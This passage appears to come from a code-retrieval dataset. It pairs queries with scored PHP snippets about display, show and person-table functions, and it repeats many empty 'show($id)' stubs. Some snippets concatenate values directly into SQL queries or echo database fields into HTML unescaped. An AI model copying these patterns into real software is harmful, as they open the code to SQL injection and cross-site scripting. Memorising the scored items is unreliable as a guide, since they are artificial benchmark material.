\"<td>\".$resource['resourceID'].\"</td>\";\n $resourceOutput .= \"<td>\".$resource['resourceName'].\"</td>\";\n $resourceOutput .= \"<td>\".$resource['resourceDescription'].\"</td>\";\n $resourceOutput .= \"<td>\".$resource['resourceType'].\"</td>\";\n $resourceOutput .= \"<td>\".$resource['resourceQuantity'].\"</td>\";\n $resourceOutput .= \"<td> \n <a href=\\\"index.php?mid=431&action=edit&resourceID=\".$resource['resourceID'].\"\\\" class=\\\"runbutton\\\">Edit</a>\n <a href=\\\"index.php?mid=430&action=remove&resourceID=\".$resource['resourceID'].\"\\\" class=\\\"delbutton\\\">Remove</a>\n </td>\";\n $resourceOutput .= \"<tr>\";\n }\n $resourceOutput .= \"</table>\";\n }\n else{\n $resourceOutput = \"<p>There are no resources stored at present.</p>\";\n }\n return $resourceOutput;\n }", "title": "" }, { "docid": "8c23114005d84f0741705b7da9ef9695", "score": "0.58511454", "text": "public function list_display($resource){\n\t\techo(\"<table border='1' >\\n<tr>\");\n\t\tforeach($this->list_headers as $head){\n\t\t\techo(\"<th>$head</th>\\n\");\n\t\t}\n\t\tif($this->ed_flag){\n\t\t\techo(\"<th colspan='2'>Admin</th>\\n\");\n\t\t}\n\t\techo(\"</tr>\");\n\t\twhile($row = mysql_fetch_array($resource)){\n\t\t\t\techo(\"<tr>\\n\");\n\t\t\t\tforeach($row as $key => $value) {\n\t\t\t\t$row[$key] = stripslashes($value);\n\t\t\t}\n\t\t\tforeach($this->list_table_cols as $val) {\n\t\t\t\techo(\"<td valign='top'>$row[$val]</td>\");\n\t\t\t}\n\t\t\tif($this->ed_flag){\n\t\t\t\techo(\"<td valign='top'><a href=attendance.php?id={$row[$this->ID]}>Edit</a></td>\\n\"); //Adds Edit button to end of display table\n\t\t\t\techo(\"<td valign='top'><a href=attendance.php?id={$row[$this->ID]}>Delete</a></td>\\n\"); //Adds Delete button to end of display table\n\t\t\t}\n\t\t}\n\t\techo(\"</tr>\\n</table>\");\n\t}", "title": "" }, { "docid": "bebff39922dfa3f37a3d7a6997a89e2f", "score": "0.5843188", "text": "function show()\n\t{\n\t\t$this->postObject->display();\n\t}", "title": "" }, { "docid": "c77fbba2f7b7f5018f4471f75871b57a", "score": "0.5841994", "text": "public function edit(Resource $resource)\n {\n return view(\n 'resources.edit', \n [\n 'resource' => $resource\n ]\n );\n }", "title": "" }, { "docid": "8aae95d60d936382831b42a40edb3397", "score": "0.5824328", "text": "public function show()\r\n\t{\r\n\t\techo $this->template;\r\n\t}", "title": "" }, { "docid": "7c5c6f9fff24e84ba0d3b00444a0acc7", "score": "0.58195084", "text": "public function resolveForDisplay($resource, $attribute = null)\n {\n if (empty($this->value)) {\n $this->value = null;\n }\n\n try {\n $file = new GenericFile($this->value);\n\n $path = FileCache::get($file, function ($file, $path) {\n return basename($path);\n });\n\n $url = vsprintf('%s/%s', [\n 'nova-vendor/skydiver/nova-cached-images',\n $path\n ]);\n\n $value = url($url);\n } catch (\\Throwable $th) {\n $value = 'remote image not found';\n }\n\n $this->value = $value;\n }", "title": "" }, { "docid": "58526873a63ddff4b306282ce5155a89", "score": "0.58138895", "text": "public static function output($resource)\r\n\t{\r\n\t\tif (isset(self::$_resources[$resource])) {\r\n\t\t\t$res =& self::$_resources[$resource];\r\n\r\n\t\t\tif (function_exists('getInternalResource') && $data = getInternalResource($res['data'])) {\r\n\t\t\t\t$filename = self::$embedding_file;\r\n\t\t\t} else {\r\n\t\t\t\t$filename = $res['data'];\r\n\t\t\t}\r\n\r\n\t\t\t// use last-modified time as etag; etag must be quoted\r\n\t\t\t$etag = '\"' . filemtime($filename) . '\"';\r\n\r\n\t\t\t// check headers for matching etag; if etag hasn't changed, use the cached version\r\n\t\t\tif (isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {\r\n\t\t\t\theader('HTTP/1.0 304 Not Modified');\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\theader('Etag: ' . $etag);\r\n\r\n\t\t\t// cache file for at most 30 days\r\n\t\t\theader('Cache-control: max-age=2592000');\r\n\r\n\t\t\t// output resource\r\n\t\t\theader('Content-type: ' . $res['mime']);\r\n\r\n\t\t\tif (isset($data)) {\r\n\t\t\t\tif (isset($res['base64'])) {\r\n\t\t\t\t\techo base64_decode($data);\r\n\t\t\t\t} else {\r\n\t\t\t\t\techo $data;\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\treadfile($filename);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d6af1b1d4946c54112fc9b7ca038cb20", "score": "0.58112013", "text": "public function display()\n\t{\n\t\tparent::display();\n\t}", "title": "" }, { "docid": "426c72f34858b1f8fc0c2377d1350691", "score": "0.58062166", "text": "public function show()\n {\n $arguments = func_get_args()[0];\n $id = $arguments[0];\n\n echo \"Show $id\";\n // return $this->view('example.show');\n }", "title": "" }, { "docid": "baf449cd82447c0bffb577fe732c4f2b", "score": "0.57953733", "text": "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::add('error', 'msg_info', array('message' => Kohana::message('gw', 'event.view.not_allowed'), 'is_persistent' => FALSE, 'hash' => Text::random($length = 10)));\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "title": "" }, { "docid": "21604cc50e9ca2b999b8c59635c9346b", "score": "0.5777744", "text": "protected function _resource($data, $name)\r\n {\r\n $data = get_resource_type($data);\r\n $this->_renderNode('Resource', $name, $data);\r\n }", "title": "" }, { "docid": "ecd6aa7074b9a655f317e213378a7ab9", "score": "0.57773685", "text": "public function show() {\n if (isset($_GET['name'])) {\n $this->view->source = $this->model::getByName($_GET['name']);\n }\n\n $this->view->setData($this->model::get($_GET));\n $this->view->setTemplate(SRC_SHOW);\n $this->view->setLayout(SHOW_LAYOUT);\n $this->view->render();\n }", "title": "" }, { "docid": "e7bae91f4e998eac5e73657c932c48d7", "score": "0.5752467", "text": "public function show($id) {\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "e7bae91f4e998eac5e73657c932c48d7", "score": "0.5752467", "text": "public function show($id) {\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "e3b51ebfe04703c114ab39fc729ba43b", "score": "0.5749091", "text": "public function show(Entry $entry)\n {\n //\n }", "title": "" }, { "docid": "91b553cd446c5431be6377bad7d6e9b7", "score": "0.57440376", "text": "public function show($id)\n\t{\n\t\t//\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "cb9307a32f6d22a33b956aed56db49ba", "score": "0.5717934", "text": "public function show($id)\n\t{\n\t\t//\n\t\t\n\t}", "title": "" }, { "docid": "6c6591ff03468044c76e66dc3ecca033", "score": "0.57143193", "text": "public function display(): Response;", "title": "" }, { "docid": "6ad29c72212e149d40619613cbacfe13", "score": "0.5712024", "text": "protected function addResourceShow(string $name, string $base, string $controller, array $options): RouteContract\n {\n $uri = $this->getResourceUri($name, $options) . '/{' . $base . '}';\n\n $action = $this->getResourceAction($name, $controller, 'show', $options);\n\n return $this->router->get($uri, $action);\n }", "title": "" }, { "docid": "61a627e0c8c8b3a47cc8487387ee35b2", "score": "0.57057", "text": "public function show($id)\n\t{\n\t\t//No need for showing\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "560ae0fd472bad5f1d21beeed5dfbbdd", "score": "0.57012135", "text": "public function show(){}", "title": "" }, { "docid": "690a36be877c22d14829a018fd5e04e9", "score": "0.56947994", "text": "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $information = $em->getRepository('ThiefaineReferentielBundle:Information')->find($id);\n\n if (!$information) {\n throw $this->createNotFoundException(\"Impossible de trouver l'information.\");\n }\n\n $showForm = $this->createShowForm($information);\n $twig = 'ThiefaineReferentielBundle:Information:show.html.twig';\n $paramTwig = array(\n 'information' => $information,\n 'show_form' => $showForm->createView(),\n );\n\n return $this->render($twig,$paramTwig);\n }", "title": "" }, { "docid": "98910c6c774dc1299639c448306ea157", "score": "0.5694748", "text": "public function show($id)\n {\n $this->crud->hasAccessOrFail('show');\n\n // set columns from db\n $this->crud->setFromDb();\n\n // cycle through columns\n foreach ($this->crud->columns as $key => $column) {\n // remove any autoset relationship columns\n if (array_key_exists('model', $column) && array_key_exists('autoset', $column) && $column['autoset']) {\n $this->crud->removeColumn($column['name']);\n }\n }\n\n // get the info for that entry\n $this->data['entry'] = $this->crud->getEntry($id);\n $this->data['crud'] = $this->crud;\n $this->data['title'] = trans('bcrud::crud.preview').' '.$this->crud->entity_name;\n\n // remove preview button from stack:line\n $this->crud->removeButton('preview');\n $this->crud->removeButton('delete');\n\n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getShowView(), $this->data);\n }", "title": "" }, { "docid": "851cd390daf8f79de66a294538711bfd", "score": "0.5691463", "text": "public function view(HTTPRequest $request)\n {\n $id = $request->param('ID');\n if ($display = Display::get_by_id($id)) {\n return $this->renderPresentation($display);\n }\n\n return $this->httpError(404);\n }", "title": "" }, { "docid": "89380f02c69f1ed066b5443620b90407", "score": "0.568851", "text": "public function show($id)\n\t{ \n \t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
fbee04247d9c4a738cacd5138dc7e805
into the table serverside19_persons
[ { "docid": "10e401180339d2ab95263b8ba9e68ae4", "score": "0.0", "text": "public function userInsert($id, $fn, $sn)\n {\n $stm1 = $this->prepare( \n \"insert into serverside19_persons values (?,?,?)\"); \n $stm1->execute([$id, $fn, $sn]);\n \n //collecting possible errors\n return $stm1->errorInfo()[2];//info about error (if it exists) \n }", "title": "" } ]
[ { "docid": "c270bb05a4e2e2436015110c294ed359", "score": "0.5888361", "text": "function createPeople() {\n\t$rows = getDatabase()->all(\" select * from candidate where email > '' and personid is null and nominated is not null and year = 2014 \");\n\tforeach ($rows as $r) {\n\t\t$values = array();\n\t\t$values['name'] = \"{$r['first']} {$r['last']}\";\n\t\t$values['email'] = $r['email'];\n\t\tprint \"Saving person for {$values['name']}\\n\";\n\t\tpr($values);\n\t\t$id = db_insert('people',$values);\n\t\t$values = array();\n\t\t$values['id'] = $id;\n\t\t$values['password'] = md5($id.\":\".rand(0,20000));\n\t\tdb_update('people',$values,'id');\n\t\t$values = array();\n\t\t$values['id'] = $r['id'];\n\t\t$values['personid'] = $id;\n\t\tdb_update('candidate',$values,'id');\n\t}\n}", "title": "" }, { "docid": "e71d501748fe3b213a37b350b873dc01", "score": "0.5121163", "text": "public function InsererPerso(){\n $requete = $this->_BDD->query(\"INSERT INTO Personnage(Pseudo, Vie) VALUES ('\".$this->_Pseudo.\"', '\".$this->_Vie.\"')\");\n }", "title": "" }, { "docid": "be2fa4bb938d18034dcdd5d8e7afbdbb", "score": "0.51086473", "text": "public function createPersonsTree($personsLimit)\r\n {\r\n // $this->getDb()->query($sql);\r\n \r\n // $sql = \"TRUNCATE TABLE persons\";\r\n // $this->getDb()->query($sql);\r\n \r\n // $sql = \"TRUNCATE TABLE awards\";\r\n // $this->getDb()->query($sql);\r\n \r\n // $this->createTablePersons($personsLimit);\r\n // $this->createAwards($personsLimit * 5);\r\n \r\n // $this->createPersonsConnections();\r\n }", "title": "" }, { "docid": "ea5a2f608e9727e9ef91f5bd636f64ed", "score": "0.50953805", "text": "public function executeCreate()\n {\n $this->person = new Person();\n\n //init honorific with \"D.\"\n $this->langs = sfConfig::get('app_lang_array', array('es'));\n\n foreach(sfConfig::get('app_lang_array', array('es')) as $lang){\n $this->person->setCulture($lang);\n $this->person->setHonorific(\"D.\");\n }\n\n /*De donde se accede persons o video ?*/\n $this->url = 'persons/update';\n $this->update = 'list_persons';\n\n $this->setTemplate('edit');\n }", "title": "" }, { "docid": "763523193bc4a9ca7bc40aa753dbee18", "score": "0.5093212", "text": "public function run()\n { \n DB::table('persons')->insert([\n 'id'=>1,\n 'name'=>'admin',\n 'last_name'=>'lopez',\n 'birth_date'=>Carbon::parse('2000-01-01'),\n 'home_address'=>'Amapala',\n 'phone'=>'9874-6373',\n 'identification_card'=>'0304-1998-00231',\n 'gender'=>'M',\n ]);\n DB::table('persons')->insert([\n 'id'=>2,\n 'name'=>'user',\n 'last_name'=>'perez',\n 'birth_date'=>Carbon::parse('2000-01-01'),\n 'home_address'=>'Tegucigalpa',\n 'phone'=>'9874-6373',\n 'identification_card'=>'0801-1998-00211',\n 'gender'=>'M',\n ]);\n DB::table('persons')->insert([\n 'id'=>3,\n 'name'=>'Juan',\n 'last_name'=>'Soler',\n 'birth_date'=>Carbon::parse('2019-09-11'),\n 'home_address'=>'Esquias',\n 'phone'=>'9837-4828',\n 'identification_card'=>'0305-1995-00221',\n 'gender'=>'M',\n ]);\n DB::table('persons')->insert([\n 'id'=>4,\n 'name'=>'Luis',\n 'last_name'=>'Ruiz',\n 'birth_date'=>Carbon::parse('2019-09-22'),\n 'home_address'=>'El porvenir',\n 'phone'=>'9893-9483',\n 'identification_card'=>'0504-1995-00131',\n 'gender'=>'M',\n ]);\n \n }", "title": "" }, { "docid": "bfe507f9f64559315660ad2e341233ef", "score": "0.5084628", "text": "public function insert($person);", "title": "" }, { "docid": "bfb0f6f21f1140eeb85b9b21dd194cd2", "score": "0.5068914", "text": "public function run()\n {\n\t\tDB::table('persons')->insert([\n\t\t\t'name' => 'Luchy cossoleto',\n\t\t\t'activity' => 'Surf',\n\t\t\t'facebook' => 'https://facebook.com',\n\t\t\t'instagram' => 'https://instagram.com',\n\t\t\t'youtube' => 'https://youtube.com',\n\t\t\t'bio' => 'Amante de los deportes, Luchy está llamada a ser una de las promesas del sur en latinoamérica. Con tan solo 16 años ya tuvo experiencia en varios mundiales ISA, y en los torneos juniors de la ASP. “Soy muy feliz surfeando, me gusta competir y es un orgullo representar a mi país, cuidemos las playas, cuidemos el mar, disfrutemos del surf”, expresa cada vez que puede.',\n\t\t\t'gallery_id' => 3,\n\t\t]);\n }", "title": "" }, { "docid": "ad5da5042dcfed6bdf73aeb6477670b4", "score": "0.5066732", "text": "public function setPersons($persons) {\n $this->persons = $persons;\n }", "title": "" }, { "docid": "d540e448ea0e07aaac70d1d490173155", "score": "0.5016217", "text": "function createTableBillysCompanies()\n {\n $primary = DBIntegerColumn::create('company_id')->setLenght(11)->setUnsigned(true);\n $newTable = DB::createTable(TABLE_PREFIX . 'billys_companies')->addColumns(array(\n $primary,\n DBStringColumn::create('organizationId', 22)\n ));\n $index = new DBIndex('company_id', DBIndex::PRIMARY, $primary);\n\n $newTable->addIndex($index);\n $newTable->save();\n\n\n }", "title": "" }, { "docid": "5dc18885bc616634983bb1fdc2f05c1a", "score": "0.5005932", "text": "private function createPerson(Persons $persons)\n {\n $data = array();\n $mapper = array(\n 'family' => 'getFamily',\n 'given' => 'getGiven',\n 'dropping-particle' => 'getDroppingParticle',\n 'non-dropping-particle' => 'getNonDroppingParticle',\n 'suffix' => 'getSuffix'\n );\n\n foreach ($persons as $person) {\n $entry = array();\n\n foreach ($mapper as $key => $getter) {\n if ($person->$getter() !== '') {\n $entry[$key] = $person->$getter();\n }\n }\n\n $data[] = $entry;\n }\n\n return $data;\n }", "title": "" }, { "docid": "d59b05e39d26e6dece5924513454184e", "score": "0.4989458", "text": "public function run()\n {\n DB::table('persons')->insert([\n ['name'=>'Stiv Anthony','surname'=>'CHoque Mamani','dni'=>'76039986'],\n ['name'=>'Erick Danny','surname' =>'CHoque Mamani','dni'=>'76039987'],\n ['name'=>'Raul','surname'=>'CHoque Lipa','dni'=>'23005556'],\n ['name'=>'Helen Brigith','surname'=>'Villanueva Condezo','dni'=>'76039985'],\n ['name'=>'Antonia','surname'=>'Mamani Aronaca','dni'=>'23016272'],\n ]);\n\n }", "title": "" }, { "docid": "669bfde2a3812c4256ee641e2d05f78d", "score": "0.497789", "text": "public function createEntidades(){\n\t\tforeach($this->tableNames as $tableSchema => $table){\n\t\t\t$entidade = array();\n\t\t\t\n\t\t\t$entidade[\"tabela\"] = $tableSchema;\n\t\t\t$entidade[\"tabela_view\"] = $tableSchema;\n\t\t\t$entidade[\"tabseq\"] = null;\n\t\t\t$entidade[\"colunafilho\"] = substr($tableSchema,0,3).\"seq\";\n\t\t\t\n\t\t\t$retInsert = $this->insertKrs(\"tabelas\", $entidade);\n\t\t\t\n\t\t\t$this->entidades[$tableSchema] = array(\"tabseq\"=>$retInsert['seq']);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "4e6e6aadaccdf510b08399257b3cc0ef", "score": "0.49540144", "text": "private function setPeople(array $persons, $filmid){\n $people = [];\n foreach ($persons as $person) {\n $people[] = new Person($person, $filmid);\n }\n return $people;\n }", "title": "" }, { "docid": "f3d04b1837a4b0ee1769d07435821225", "score": "0.49471897", "text": "function populate_table(){\n\n }", "title": "" }, { "docid": "b16fad262b0b147e7858fa818b0ecfd8", "score": "0.49457124", "text": "public function listPersons() {\n $stm = $this->prepare(\"select id, fname, sname from serverside19_persons\");\n $stm->execute();\n return $stm->fetchAll(PDO::FETCH_CLASS); \n }", "title": "" }, { "docid": "2a05e87f7b945649e5578d172385126b", "score": "0.49148023", "text": "protected function processPersons($conn,$writer)\n {\n $writer->startElement('persons');\n\n $sql = \"SELECT person.* FROM persons AS person ORDER BY person.id;\";\n \n $rows = $conn->fetchAll($sql);\n \n foreach($rows as $row)\n {\n $this->processPerson($conn,$writer,$row);\n //print_r($row); die();\n }\n \n $writer->endElement(); // Persons\n }", "title": "" }, { "docid": "401a50d8096c44c20b85b2e06b59ba05", "score": "0.49084204", "text": "function insertarTiposPersona() {\n\t\t\t$cnx= conectar_postgres();\n\t\t\t$cons = \"INSERT INTO Central.TiposPersonas (tipo, codigo) VALUES ('Persona Juridica',1) , ('Persona Natural', 2), ('Por validar', 3)\";\n\t\t\t$res = @pg_query($cnx, $cons);\n\t\t\t\tif (!$res) {\n\t\t\t\t\n\t\t\t\t\techo \"<p class='error1'> Error de ejecucion </p>\".pg_last_error().\"<br>\";\n\t\t\t\t\techo \"<p class= 'subtitulo1'>Comando SQL </p> <br>\".$cons.\"<br>\"; \t\t\t\t\n\t\t\t\t\techo \"<br><br>\";\t\t\t\n\t\t\t\t\t//echo \"<br><br>\";\n\t\t\t\t}\n\t\t}", "title": "" }, { "docid": "045b3ab3aee44ad375f8f802323333d6", "score": "0.48830003", "text": "public function change()\n {\n $table = $this->table('users');\n $table->addColumn('gym_id','integer',[\n 'limit' => 10,\n 'null' => false,\n ]);\n $table->addColumn('name','string',[\n 'limit' => 32,\n 'null' => false,\n ]);\n $table->addColumn('password','string',[\n 'limit' => 64,\n 'null' => false,\n ]);\n $table->addColumn('mail','string',[\n 'limit' => 64,\n 'null' => false,\n ]);\n $table->addColumn('years','integer',[\n 'limit' => 10,\n 'null' => false,\n ]);\n $table->addColumn('prefecture_id','integer',[\n 'limit' => 10,\n 'null' => false,\n ]);\n $table->addColumn('profile_img','string',[\n 'limit' => 64,\n 'null' => false,\n ]);\n $table->create();\n }", "title": "" }, { "docid": "9eada41a963e15a10f0bbb9d346c37c7", "score": "0.48781517", "text": "function createTableBillysContacts()\n {\n $primary = DBIntegerColumn::create('company_id')->setLenght(11)->setUnsigned(true);\n $newTable = DB::createTable(TABLE_PREFIX . 'billys_contacts')->addColumns(array(\n $primary,\n DBStringColumn::create('contactId', 22),\n DBStringColumn::create('countryId', 3)\n ));\n $index = new DBIndex('company_id', DBIndex::PRIMARY, $primary);\n\n $newTable->addIndex($index);\n $newTable->save();\n }", "title": "" }, { "docid": "ce2b86e3a5faede138e0f1d4649798be", "score": "0.48711264", "text": "private function createMainTable()\n {\n global $rlDb;\n\n $rlDb->dropTable('ipgeo');\n $rlDb->query(\"\n CREATE TABLE `\". RL_DBPREFIX .\"ipgeo` (\n `From` bigint(10) NOT NULL,\n `To` bigint(10) NOT NULL,\n `Loc_ID` int(8) NOT NULL,\n KEY `geoname_id` (`Loc_ID`),\n KEY `To` (`To`)\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n \");\n }", "title": "" }, { "docid": "694ead6f33ccda044b68a4dd19177d9c", "score": "0.4866696", "text": "function import() {\n\t\t// vyprazdnim tabulku\n\t\t$this->truncate();\n\t\t$condition = null;\n\t\t$snProducts = $this->findAllSn();\n\t\tforeach ($snProducts as $snProduct) {\n\t\t\tif ($product = $this->transformSn($snProduct)) {\n\t\t\t\t$this->create();\n\t\t\t\tif (!$this->save($product)) {\n\t\t\t\t\tdebug($product);\n\t\t\t\t\tdebug($this->validationErrors);\n\t\t\t\t\t$this->save($product, false);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "9b61138166a170d4a6905d8c729acdd6", "score": "0.4806415", "text": "function migrateResourcePerson () {\n global $DB_CON_NEW;\n\n # write to new database\n $person = new ResourcePerson($DB_CON_NEW);\n $person->migrate();\n}", "title": "" }, { "docid": "f59ea37c7b912106e25cd339bff2e85e", "score": "0.4801218", "text": "public function getAllPerson_post(){\n $isClient = $this->post('isClient');\n $result = $this->person_model->selectAllPerson($isClient);\n\n if ($result === 0) {\n $this->response(\"Person information could not be saved. Try again.\", 404);\n } else {\n $this->response($result, 200);\n }\n\n }", "title": "" }, { "docid": "28751a2bb6c186e48c811f8c516c63e4", "score": "0.47915322", "text": "public function persons()\n {\n $persons = $this->HHPersonRepository->all();\n dd($persons);\n\n // To clean-up all the persons\n // for($i = 0; $i <= 